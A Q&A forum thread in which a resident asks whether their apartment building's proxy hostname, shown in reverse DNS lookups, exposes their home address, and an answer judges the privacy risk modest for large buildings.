by default it has no provision to be automatically sent over network
it gives you better control of the printed document


Is revealing your residence physical address when browsing the web a security risk? I live in a large apartment building that provides a wireless service for residents. All of that traffic goes through a proxy server, and the domain name on that server contains the name of the apartment building and the city.

So, when I load a "what is my IP" service in my browser, it lists not just the IP I'm connecting from, but also something like "the-ritz-altoona.example.com".

I can see no reason for revealing such information. It's not advertising: who's going to see it? It's of no value to the authorities: they can get the same information directly from the ISP.

However, I can see it of being use to stalkers, criminals responding to Craigslist ads, hackers, identity thieves, and so on.

Am I right to be concerned?

P.S. I use a VPN but that isn't allowed with some sites.

If it only narrows it down to an apartment building, it probably still isn't that big of a risk if it is fairly large.  The reason that it happens is that the apartment itself probably has a static IP tied to their domain or perhaps an IP range.  It's no different than when you use a traditional ISP and it says that your are connecting from 123_234_12_34.nycap.rr.com.  It's a sub-domain of the IPs controlled under their particular domain and so it shows up in a reverse lookup.

IP addresses in general already generally narrow it down to cities and anyone connecting from an office or school can generally be tracked down to that level.  Having a similar level for a large apartment building isn't significantly different from knowing someone was connecting from a community college or a public library.

In certain high risk situations might it be unacceptable?  Perhaps, but in the general case, I wouldn't be too worried about it personally unless there are only a dozen or two people in the building.  The more important thing to realize and remember is that you are almost never really anonymous on the Internet unless you go to a lot of effort to try to be.